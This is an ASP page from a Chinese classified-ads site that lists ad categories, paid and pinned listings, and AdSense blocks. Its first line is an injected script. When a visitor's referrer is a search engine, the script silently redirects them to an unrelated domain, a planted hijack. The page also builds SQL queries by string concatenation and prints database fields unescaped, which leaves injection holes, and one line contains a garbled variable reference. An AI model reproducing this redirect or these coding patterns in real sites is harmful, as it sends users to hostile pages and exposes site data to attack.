d:\wwwroot\wuchunhua\type.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="head.asp"-->
002:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
003:
<!-- 这里是主题 -->
004:
<%
if type_oneid=0 then
005:
conn.close:set conn=nothing
006:
response.write "<script>alert('参数错误，关闭窗口！');window.close();</script>"
007:
response.end
008:
end if
009:
dim sql,rs,thepage,currentpage,pagename,totalpage,n,page
010:
011:
012:
if city_oneid<>0 and city_twoid=0 then cityid="city_oneid="&city_oneid&" and "
013:
if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then cityid="city_oneid="&city_oneid&" and city_twoid="&city_twoid&" and "
014:
if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then cityid="city_oneid="&city_oneid&" and city_twoid="&city_twoid&" and city_threeid="&city_threeid&" and "
015:
if type_oneid<>0 and type_twoid=0 then typeid="type_oneid ="&type_oneid&" and "
016:
if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then typeid="type_oneid ="&type_oneid&" and type_twoid="&type_twoid&" and "
017:
if type_oneid<>0 and type_twoid<>0 and type_threeid<>0 then typeid="type_oneid ="&type_oneid&" and type_twoid="&type_twoid&" and type_threeid="&type_threeid&" and "
018:
if city_oneid<>0 and city_twoid=0 then city_id="&city_oneid="&city_oneid&""
019:
if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then city_id="&city_oneid="&city_oneid&"&city_twoid="&city_twoid&""
020:
if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then city_id="&city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""
021:
if type_oneid<>0 and type_twoid=0 then type_id="&type_oneid="&type_oneid&""
022:
if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then type_id="&type_oneid="&type_oneid&"&type_twoid="&type_twoid&""
023:
if type_oneid<>0 and type_twoid<>0 and type_threeid<>0 then type_id="&type_oneid="&type_oneid&"&type_twoid="&type_twoid&"&type_threeid="&type_threeid&""
024:
type_id=city_id&type_id
025:
%
>
026:
<table width="760" height="2" border="0" align="center" cellpadding="0" cellspacing="0">
027:
<tr> </tr>
028:
</table>
029:
<table width="860" border="0" align="center" cellpadding="0" cellspacing="0">
030:
<tr valign="top">
031:
<td width="580"><table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
032:
<tr>
033:
<td bgcolor="#FFFFFF"><table width="96%" border="0" align="center" cellpadding="0" cellspacing="0">
034:
<tr>
035:
<td height="30" colspan="3"><strong> <img src="images/img.gif" width="12" height="12">
<%
if city_oneid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&""">"&aa1&"</a>>>"
036:
if city_twoid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&""">"&aa2&"</a>>>"
037:
if city_threeid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""">"&aa3&"</a>>>"
038:
%
>分类信息>>
<%
set rs1=server.createobject("adodb.recordset")
039:
rs1.open "select * from china_type where id ="&type_oneid&" and twoid=0 and threeid=0",conn,1,1
040:
tyone=rs1("name")
041:
tyname=tyone
042:
rs1.close
043:
if type_twoid<>0 then
044:
rs1.open "select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid=0",conn,1,1
045:
tytwo=rs1("name")
046:
tyname=tytwo
047:
rs1.close
048:
if type_threeid<>0 then
049:
rs1.open "select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
050:
tythree=rs1("name")
051:
tyname=tythree
052:
rs1.close
053:
end if
054:
end if
055:
set rs1=nothing
056:
if type_threeid<>0 then
057:
response.write "<a href=""?type_oneid="&type_oneid&city_id&""">"&tyone&"</a>>><a href=""?type_oneid="&type_oneid&"&type_twoid="&type_twoid&city_id&""">"&tytwo&"</a>"&tythree&""
058:
elseif type_twoid<>0 then
059:
response.write "<a href=""?type_oneid="&type_oneid&city_id&""">"&tyone&"</a>>>"&tytwo
060:
else
061:
response.write tyone
062:
end if
%
>>>固顶信息 </strong></td>
063:
</tr>
064:
<tr>
065:
<td colspan="3">
066:
<%
sql="select top 10 * from [china_data] where "&cityid&" "&typeid&" mark='yes' and top=1 order by adid desc"
067:
set rs1=server.createobject("adodb.recordset")
068:
rs1.open sql,conn,1,1
069:
if rs1.eof then
%
>
070:
<span style="font-size: 9pt"><font color='#FF0000'>暂无固顶分类信息！</font></span>
071:
<%
rs1.close:set rs1=nothing
072:
else
073:
do while not rs1.eof
%
>
074:
<p style="line-height: 200%"><img src="images/news_020.gif" width="14" height="16"> <a title=
<%
=rs1("title")
%
> href="html/
<%
=rs1("adid")
%
>.htm" target="_blank"><font style="size:12px "
<%
if rs1("color")<>"" then
%
>color="
<%
=rs1("color")
%
>"
<%
else response.write "color=#0044DD" end if
%
>><b>
<%
=rs1("title")
%
></b></font></a><font color=#999999><i>(发布：
<%
=rs1("date")&" 固顶有效期还有"&datediff("d",date(),rs1("stop"))&"天 TEL:"&rs1("tel")
%
>)</i></font></p>
075:
<%
rs1.movenext
076:
loop
077:
rs1.close:set rs1=nothing
078:
end if
%
></td>
079:
</tr>
080:
<tr>
081:
<td colspan="3" background="images/news_022.gif"> </td>
082:
</tr>
083:
<tr>
084:
<td colspan="3"><script type="text/javascript">
<!--
085:
google_ad_client = "pub-0161436954854754";
086:
/* 468x60, 创建于 09-8-22 */
087:
google_ad_slot = "5112570411";
088:
google_ad_width = 468;
089:
google_ad_height = 60;
090:
//-->
091:
</script>
092:
<script type="text/javascript"
093:
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
094:
</script></td>
095:
</tr>
096:
<tr>
097:
<td height="30" colspan="3"><strong> <img src="images/img.gif" width="12" height="12">
<%
if city_oneid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&""">"&aa1&"</a>>>"
098:
if city_twoid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&""">"&aa2&"</a>>>"
099:
if city_threeid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""">"&aa3&"</a>>>"
100:
%
>分类信息>>
<%
set rs1=server.createobject("adodb.recordset")
101:
rs1.open "select * from china_type where id ="&type_oneid&" and twoid=0 and threeid=0",conn,1,1
102:
tyone=rs1("name")
103:
tyname=tyone
104:
rs1.close
105:
if type_twoid<>0 then
106:
rs1.open "select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid=0",conn,1,1
107:
tytwo=rs1("name")
108:
tyname=tytwo
109:
rs1.close
110:
if type_threeid<>0 then
111:
rs1.open "select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
112:
tythree=rs1("name")
113:
tyname=tythree
114:
rs1.close
115:
end if
116:
end if
117:
set rs1=nothing
118:
if type_threeid<>0 then
119:
response.write "<a href=""?type_oneid="&type_oneid&city_id&""">"&tyone&"</a>>><a href=""?type_oneid="&type_oneid&"&type_twoid="&type_twoid&city_id&""">"&tytwo&"</a>"&tythree&""
120:
elseif type_twoid<>0 then
121:
response.write "<a href=""?type_oneid="&type_oneid&city_id&""">"&tyone&"</a>>>"&tytwo
122:
else
123:
response.write tyone
124:
end if
%
>
125:
</strong></td>
126:
</tr>
127:
<%
if type_oneid<>0 and type_twoid=0 and type_threeid=0 then sql="select * from china_type where id ="&type_oneid&" and twoid<>0 and threeid=0 order by indexid asc"
128:
if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then sql="select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid<>0 order by indexid asc"
129:
set rs1=server.createobject("adodb.recordset")
130:
rs1.open sql,conn,1,1
131:
if rs1.eof then
132:
response.Write "暂无下级分类"
133:
else
134:
i=0
135:
do while not rs1.eof
136:
if i mod 3=0 then response.write "<tr height=""30"">"
137:
if rs1("threeid")>0 then
138:
count1="and type_oneid="&rs1("id")&" and type_twoid="&rs1("twoid")&" and type_threeid="&rs1("threeid")
139:
elseif rs1("twoid")>0 then
140:
count1="and type_oneid="&rs1("id")&" and type_twoid="&rs1("twoid")
141:
else
142:
count1="and type_oneid="&rs1("id")
143:
end if
144:
response.write "<td width=""33%"">·<a href=""type.asp?type_oneid="&rs1("id")&"&type_twoid="&rs1("twoid")&"&type_threeid="&rs1("threeid")&city_id&"""><b><font style=""font-size:10.5pt"" color=""#0044DD"">"&rs1("name")&"</font></b></a><font color=#ff0000> ("&conn.execute("select count(*) from [china_data] where "&cityid&" stop>=date() and mark='yes' "&count1&"")(0)&")</font></td>"
145:
rs1.movenext
146:
i=i+1
147:
if i mod 3=0 then response.write "</tr>"
148:
loop
149:
if i mod 3<>0 then
150:
do while i mod 3<>0
151:
response.write "<td width=""33%""> </td>"
152:
i=i+1
153:
loop
154:
response.write "</tr>"
155:
end if
156:
end if
157:
rs1.close:Set rs1=nothing
%
>
158:
<tr>
159:
<td colspan="3" background="images/news_022.gif"> </td>
160:
</tr>
161:
<tr>
162:
<td colspan="3"><script type="text/javascript">
<!--
163:
google_ad_client = "pub-0161436954854754";
164:
/* 468x15, 创建于 09-8-20 */
165:
google_ad_slot = "4354725058";
166:
google_ad_width = 468;
167:
google_ad_height = 15;
168:
//-->
169:
</script>
170:
<script type="text/javascript"
171:
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
172:
</script></td>
173:
</tr>
174:
<%
sql="select * from [china_data] where "&cityid&" "&typeid&" mark='yes' and stop >= date() order by money desc,time desc"
175:
set rs=server.createobject("adodb.recordset")
176:
rs.open sql,conn,1,1
177:
if rs.eof then
178:
response.write "<tr height=""28""><td colspan=""3"">暂无信息</td></tr>"
179:
else
180:
thepage=request("pageid")
181:
if isnumeric(thepage)=false then
182:
response.write "<script>alert('参数错误，关闭窗口！');window.close();</script>"
183:
response.end
184:
end if
185:
currentpage = cLng(thepage)
186:
if currentpage <= 0 then currentpage=1
187:
const maxperpage=10
188:
rs.Pagesize = maxperpage
189:
pagename="type.asp"
190:
totalpage = rs.PageCount
191:
rs.absolutepage = currentpage
192:
n=rs.recordcount
193:
page = PageSplit(currentpage,totalpage,pagename,type_id)
194:
if n>10 then
195:
response.write "<tr><td height=""25"" colspan=""3""><a href=""ad.asp""><font style=""font-size:14px"" color=""#0000BF"">全部广告</font></a> 页次：<b>"¤tpage&"/"&totalpage&"</b> 每页<b>"&maxperpage&"</b>条 共刊登<b>"&n&"</b>条"&tyname&"广告 "&page&"</td></tr>"
196:
response.write "<tr><td colspan=""3"" background=""images/news_022.gif""> </td></tr>"
197:
end if
198:
i=0
199:
do while i < maxperpage and not rs.eof
200:
response.write "<tr height=""25""><td colspan=""3""><img src=""images/news_021.gif"" width=""14"" height=""16"" align=""left""> <a href=""html/"&rs("adid")&".htm"" target=""_blank"">"
201:
if rs("cu")="yes" then response.write "<b>"
202:
response.write "<b><font "
203:
if rs("color")<>"" then
204:
response.write "color="&rs("color")
205:
else
206:
response.write "color=#0044DD"
207:
end if
208:
response.write ">"&rs("title")&"</font></b>"
209:
if rs("cu")="yes" then response.write "</b>"
210:
response.write "</a>"
211:
if rs("money")>0 then response.write "<font color=#ff0000>[竞价]</font>"
212:
if rs("pic")<>"" then response.write "<font color=#ff0000>[图]</font>"
213:
response.write "</td></tr><tr height=""22""><td colspan=""2"" width=""80%""><a href=""html/"&rs("adid")&".htm"" target=""_blank"">"
214:
text=Replace(Replace(rs("text")," "," "),"<br>","")
215:
response.write "<p style=""line-height: 150%"">"
216:
if len(text)>60 then
217:
response.write left(text,60)&"..."
218:
else
219:
response.write text
220:
end if
221:
response.write "</p>"
222:
response.write "</a></td><td width=""20%"" align=""right"">"
223:
if rs("uid")<>"" then qq=conn.execute("select qq from [china_user] where uid='"&rs("uid")&"'")(0)
224:
if qq<>"" and qq<>"未填" and not isnull(qq) then response.write "<a target=blank href=http://wpa.qq.com/msgrd?V=1&Uin="&qq&"&Site="&webname&"&Menu=yes><img border=""0"" src=http://wpa.qq.com/pa?p=1:"&qq&":6 alt=""点击这里给我发消息""></a><br>城市："
225:
response.write rs("city_one")
226:
if rs("city_twoid")>0 then response.write "-"&rs("city_two")
227:
if rs("city_threeid")>0 then response.write "-"&rs("city_three")
228:
response.write "</td></tr>"
229:
response.write "<tr height=""22""><td colspan=""3""><font color=#999999><i>(发布："&rs("date")&" 有效期还有"&datediff("d",date(),rs("stop"))&"天 联系人:"&rs("username")&" TEL:"&rs("tel")&")</i></font></td></tr>"
230:
response.write "<tr><td colspan=""3"" background=""images/news_022.gif""> </td></tr>"
231:
rs.movenext
232:
i=i+1
233:
loop
234:
end if
235:
if n>10 then
%
>
236:
<tr>
237:
<td colspan="3"><a href="ad.asp"><font style="font-size:14px" color="#0000BF">全部广告</font></a> 页次：<b>
<%
=currentpage
%
>/
<%
=totalpage
%
></b> 每页<b>
<%
=maxperpage
%
></b>条 共刊登<b>
<%
=n
%
></b>条<font color="#FF0000">
<%
=tyname
%
></font>广告
238:
<%
response.write page
%
></td>
239:
</tr>
240:
<%
end if
%
>
241:
<tr>
242:
<td> </td>
243:
</tr>
244:
</table></td>
245:
</tr>
246:
</table></td>
247:
<td width="10"> </td>
248:
<td width="270"><table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
249:
<tr>
250:
<td bgcolor="#FFFFFF"><table width="92%" border="0" align="center" cellpadding="0" cellspacing="0">
251:
<tr valign="bottom">
252:
<td height="28" colspan="2"><span style="font-weight: bold; color: #990000;">竟价排名分类信息</span></td>
253:
</tr>
254:
<tr>
255:
<td colspan="2"><table width="100%" border="0" cellspacing="0" cellpadding="0">
256:
<tr>
257:
<td><hr size="1" color="#C0C0C0"></td>
258:
</tr>
259:
<tr>
260:
<td>
261:
<%
response.write "<table width=""100%"" border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
262:
set rs1=server.createobject("adodb.recordset")
263:
sql="select top 16 * from china_data where money>0 and stop >= date() and mark='yes' order by money desc"
264:
rs1.open sql,conn,1,1
265:
if rs1.eof then
266:
response.write "<tr><td>暂无竞价排名分类信息</td></tr>"
267:
else
268:
i=0
269:
do while not rs1.eof
270:
if i mod 2=0 then response.write "<tr>"
271:
response.write "<td><a title="&rs1("title")&" href=html/"&rs1("adid")&".htm target=blank><font style='size:12px'"
272:
if rs1("color")<>"" then response.write "color="&rs1("color")
273:
response.write ">"&left(rs1("title"),8)&"</font></a></td>"
274:
rs1.movenext
275:
i=i+1
276:
if i mod 2=0 then response.write "</tr>"
277:
loop
278:
end if
279:
rs1.close:set rs1=nothing
280:
if i mod 2<>0 then response.write "<td></td></tr>"
281:
response.write "</table>"
%
></td>
282:
</tr>
283:
<tr>
284:
<td><hr size="1" color="#C0C0C0"></td>
285:
</tr>
286:
</table></td>
287:
</tr>
288:
<tr>
289:
<td width="25" height="200" bgcolor="DAF0FF"><div align="center"><strong>图<br>
290:
片<br>
291:
推<br>
292:
荐<br>
293:
信<br>
294:
息</strong></div>
295:
296:
</td>
297:
<td>
<%
set rs1 = server.createobject("adodb.recordset")
298:
sql="select top 4 adid,pic,color,title,cu from [china_data] where mark='yes' and mark='yes' and stop >= date() and hotpoto=1 and pic <>'' order by [top] desc,money desc,adid desc"
299:
rs1.open sql,conn,1,1
300:
if rs1.eof then
301:
response.write "暂无推荐图片信息"
302:
else
303:
i=0
304:
response.write "<table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr valign=""bottom"">"
305:
do while not rs1.eof
306:
if i mod 2=0 then response.write "<tr>"
307:
response.write "<td align=""center""><a href=""html/"&rs1("adid")&".htm"" target=""_blank""><img src=""adpic/"&rs1("pic")&""" width=""100"" height=""90"" border=""0""></a><br>"
308:
response.write "<a href=""html/"&rs1("adid")&".htm"" target=""_blank"">"
309:
if rs1("cu")="yes" then
310:
response.write "<b><font style=""font-size:9pt"""
311:
if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
312:
response.write ">"&left(rs1("title"),8)&"</font></b>"
313:
else
314:
response.write "<font style=""font-size:9pt"""
315:
if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
316:
response.write ">"&left(rs1("title"),8)&"</font>"
317:
end if
318:
response.write "</a></td>"
319:
rs1.movenext
320:
i=i+1
321:
if i mod 2=0 then response.write "</tr>"
322:
loop
323:
if i mod 2<>0 then response.write "<td></td></tr>"
324:
response.write "</table>"
325:
end if
326:
rs1.close:set rs1=nothing
%
></td>
327:
</tr>
328:
<tr>
329:
<td height="30" colspan="2" background="images/news_0024.gif"> <span style="color: #990000"><strong>热点信息</strong></span></td>
330:
</tr>
331:
<tr>
332:
<td colspan="2">
<%
response.write "<table width=""100%"" border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
333:
set rs1=server.createobject("adodb.recordset")
334:
sql="select top 16 * from china_data where hot=1 and stop >= date() and mark='yes' order by adid desc"
335:
rs1.open sql,conn,1,1
336:
if rs1.eof then
337:
response.write "<tr><td>暂无热点分类信息</td></tr>"
338:
else
339:
i=0
340:
do while not rs1.eof
341:
if i mod 2=0 then response.write "<tr>"
342:
response.write "<td><a title="&rs1("title")&" href=html/"&rs1("adid")&".htm target=blank><font style='size:12px'"
343:
if rs1("color")<>"" then response.write "color="&rs1("color")
344:
response.write ">"&left(rs1("title"),8)&"</font></a></td>"
345:
rs1.movenext
346:
i=i+1
347:
if i mod 2=0 then response.write "</tr>"
348:
loop
349:
end if
350:
rs1.close:set rs1=nothing
351:
if i mod 2<>0 then response.write "<td></td></tr>"
352:
response.write "</table>"
%
></td>
353:
</tr>
354:
<tr>
355:
<td colspan="2"><script type="text/javascript">
<!--
356:
google_ad_client = "pub-7959465154098151";
357:
google_ad_width = 250;
358:
google_ad_height = 250;
359:
google_ad_format = "250x250_as";
360:
google_ad_type = "text_image";
361:
google_ad_channel = "";
362:
google_color_border = "E6E6E6";
363:
google_color_bg = "FFFFFF";
364:
google_color_link = "0000FF";
365:
google_color_text = "000000";
366:
google_color_url = "008000";
367:
//-->
368:
</script>
369:
<script type="text/javascript"
370:
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
371:
</script></td>
372:
</tr>
373:
</table>
374:
<table border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
375:
<tr>
376:
<td height="8"></td>
377:
</tr>
378:
</table></td>
379:
</tr>
380:
</table></td>
381:
</tr>
382:
</table>
383:
<table border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
384:
<tr>
385:
<td height="8"></td>
386:
</tr>
387:
</table>
388:
<table width="760" height="2" border="0" align="center" cellpadding="0" cellspacing="0">
389:
<tr>
390:
</tr>
391:
</table>
392:
<table border="0" width="760" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF" align=center>
393:
<tr>
394:
</tr>
395:
</table>
<!-- 这里是主题结束 -->
<!--#include file="foot.asp"-->
396:
397:
398: